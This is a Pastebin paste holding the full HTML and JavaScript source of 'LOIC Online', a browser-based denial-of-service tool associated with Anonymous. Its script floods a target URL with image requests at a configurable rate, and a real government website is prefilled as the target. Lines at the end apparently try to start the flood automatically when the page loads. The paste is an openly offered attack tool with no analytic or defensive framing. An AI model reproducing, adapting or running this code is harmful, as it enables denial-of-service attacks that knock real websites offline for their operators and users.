Advertisement
Guest User

KORRIX

a guest
Jan 30th, 2015
212
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.88 KB | None | 0 0
  1. KORRIX
  2. KORRIX
  3. KORRIX
  4. KORRIX
  5.  
  6. <html>
  7. <head>
  8. <title>LOIC'Online v0.1</title>
  9. <!-- <link rel="shortcut icon" type="image/x-icon" href="http://loic-online.site90.net/LOIC.ico" /> -->
  10. </head>
  11. <center><h1>LOIC Online Anonymous'Edition</h1></center>
  12. <body style="background-color:black; color:#FFFFFF;">
  13. <div style="position:absolute; width:100%; height:100%;">
  14. <div style="width:490px; height:326px; position:absolute;">
  15. <img alt="LOIC"src="http://www.calgarc.com/images/loop.png" />
  16. </div>
  17.  
  18. <div style="width:240px; height:100px; position:absolute;left:500px;">
  19. <fieldset style="width:100%; height:100%;">
  20. <legend>Step 1. Select your target:</legend>
  21. <label>URL: <br /> <input id="targetURL" style="width:100%;" value="http://www.granderecife.pe.gov.br/principal.asp" /></label> <!-- disabled="true" -->
  22. <small>Ex : http://fbi.gov</small>
  23. </fieldset>
  24. </div>
  25. <div style="width:240px; height:100px; position:absolute; left:780px;">
  26. <fieldset style="width:100%; height:100%;">
  27. <legend>Step 2. Ready?</legend>
  28.  
  29. <button id="fireButton" style="background-color:black; border-color:#FFF; color:#FFF; width:240px; height:70px;">START</button>
  30. </fieldset>
  31. </div>
  32.  
  33. <div style="width:240px; height:160px; position:absolute; left:500px; top:150px;">
  34. <fieldset style="width:100%; height:100%;">
  35. <legend>Optional. Options</legend>
  36. <label>Requests per second : <input style="width:40px;" id="rps" value="100" /></label><br />
  37.  
  38. <label>Append message : <br /><input style="width:100%;" id="message" value="We Are Legion" /></label>
  39. </fieldset>
  40. </div>
  41.  
  42. <div style="width:240px; height:160px; position:absolute; left:780px; top:150px;">
  43. <fieldset style="width:100%; height:100%;">
  44. <legend>Attack status:</legend>
  45. <dl>
  46. <dt>Requested:</dt>
  47. <dd id="requestedCtr">0</dd>
  48. <dt style="opacity: 0.5; color: green;">Request OK :</dt>
  49. <dd style="opacity: 0.5" id="succeededCtr">0</dd>
  50. <dt style="opacity: 0.5; color: red;">Request failed :</dt>
  51. <dd style="opacity: 0.5" id="failedCtr">0</dd>
  52. </dl>
  53. </fieldset>
  54. </div>
  55. </div>
  56. <script>
  57. (function () {
  58. var fireInterval;
  59. var isFiring = false;
  60. var requestedCtrNode = document.getElementById("requestedCtr"),
  61. succeededCtrNode = document.getElementById("succeededCtr"),
  62. failedCtrNode = document.getElementById("failedCtr"),
  63. targetURLNode = document.getElementById("targetURL"),
  64. fireButton = document.getElementById("fireButton"),
  65. messageNode = document.getElementById("message"),
  66. rpsNode = document.getElementById("rps"),
  67. timeoutNode = document.getElementById("timeout");
  68. var targetURL = targetURLNode.value;
  69. targetURLNode.onchange = function () {
  70. targetURL = this.value;
  71. };
  72. var requestsHT = {}; // requests hash table, may come in handy later
  73. var requestedCtr = 0,
  74. succeededCtr = 0,
  75. failedCtr = 0;
  76. var makeHttpRequest = function () {
  77. if (requestedCtr > failedCtr + succeededCtr + 1000) { //Allow no more than 1000 hung requests
  78. return;
  79. };
  80.  
  81. var rID =Number(new Date());
  82. var img = new Image();
  83. img.onerror = function () { onFail(rID); };
  84. img.onabort = function () { onFail(rID); };
  85. img.onload = function () { onSuccess(rID); }; // TODO: it may never happen if target URL is not an image... // but probably can be fixed with different methods
  86.  
  87. img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value);
  88. requestsHT[rID] = img;
  89. onRequest(rID);
  90. };
  91.  
  92. var onRequest = function (rID) {
  93. requestedCtr++;
  94. requestedCtrNode.innerHTML = requestedCtr;
  95. };
  96.  
  97. var onComplete = function (rID) {
  98. delete requestsHT[rID];
  99. };
  100.  
  101. var onFail = function (rID) {
  102. // failedCtr++;
  103. //failedCtrNode.innerHTML = failedCtr;
  104.  
  105. succeededCtr++; //Seems like the url will always fail it it isn't an image
  106. succeededCtrNode.innerHTML = succeededCtr;
  107. delete requestsHT[rID]; // we can't keep it forever or it would blow up the browser
  108. };
  109.  
  110. var onSuccess = function (rID) {
  111. succeededCtr++;
  112. succeededCtrNode.innerHTML = succeededCtr;
  113. delete requestsHT[rID];
  114. };
  115.  
  116. fireButton.onclick = function () {
  117. if (isFiring) {
  118. clearInterval(fireInterval);
  119. isFiring = false;
  120. this.innerHTML = "START";
  121. } else {
  122. isFiring = true;
  123. this.innerHTML = "Stop flooding";
  124.  
  125. fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));
  126. }
  127. };
  128.  
  129. })();
  130.  
  131. isFiring = true;
  132. document.getElementById("fireButton").innerHTML = "Stop flooding";
  133. fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(document.getElementById("rps").value) | 0));
  134. </script>
  135. </body>
  136. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement